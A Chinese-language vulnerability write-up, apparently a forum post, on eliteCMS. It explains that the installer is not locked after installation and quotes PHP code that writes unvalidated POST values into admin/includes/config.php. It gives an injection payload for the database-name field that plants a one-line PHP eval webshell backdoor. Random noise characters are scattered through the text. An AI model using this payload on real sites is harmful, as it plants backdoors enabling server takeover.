eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
: ?7 B+ b$ S* {* P7 w4 W) Q/ ~2 s
/ L5 w0 p* f0 R! L8 R& i4 P" W4 N5 a另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
5 O5 x8 B+ a2 S8 }; T1 `7 {; E我们来看代码：
& J3 C# H7 |* k# n+ }( P% }  B! L& |
% Z# F' k/ {: o: a. E7 U...
8 B; g- M. B7 h* o, _3 j6 m. pelseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
6 R* G2 _' F1 k9 g" x* _    $write = "<?php\n";
    $write .= "/**\n";
$ W2 h; @. M. L) S4 M+ [  I# g    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
6 p/ t4 {$ U3 e+ x1 d2 s    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
7 [. p# j# t: q; N7 p8 B    $write .= "if (!\$connection) {\n";
9 H" Y0 Q# V  p3 }5 o# ~    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
1 b# b! e) S( A    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
8 j8 G2 L& [7 S4 I' H+ s6 l1 d: d    $write .= "if (!\$db_select) {\n";
, \" F, c, v- u5 f: T    $write .= "        die(\"Database select failed\" .mysql_error());\n";
" N& t. q9 P9 ~& u; Z8 R( G    $write .= "        \n";
    $write .= "} \n";
5 x. Z9 f9 U' ^& n- T. b: a    $write .= "?>\n";

3 {+ p& N" T9 n, Y( X$ b* R5 m    $writer = fopen($file, 'w');
...

# P! \: I. @+ K在看代码：
* k. I( J6 Q" O' z4 a: I' s
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
1 Q. Y' @( F) |" t$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$ P8 @  Q1 _/ N0 i, b1 d4 G$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
5 z2 D7 g5 n5 B! a8 p; r: y
取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php
$ k9 C0 t6 G% b8 Q2 Y. I! B6 ]
0 f' x6 t: m' G8 Y; B! [将导致一句话后门写入/admin/includes/config.php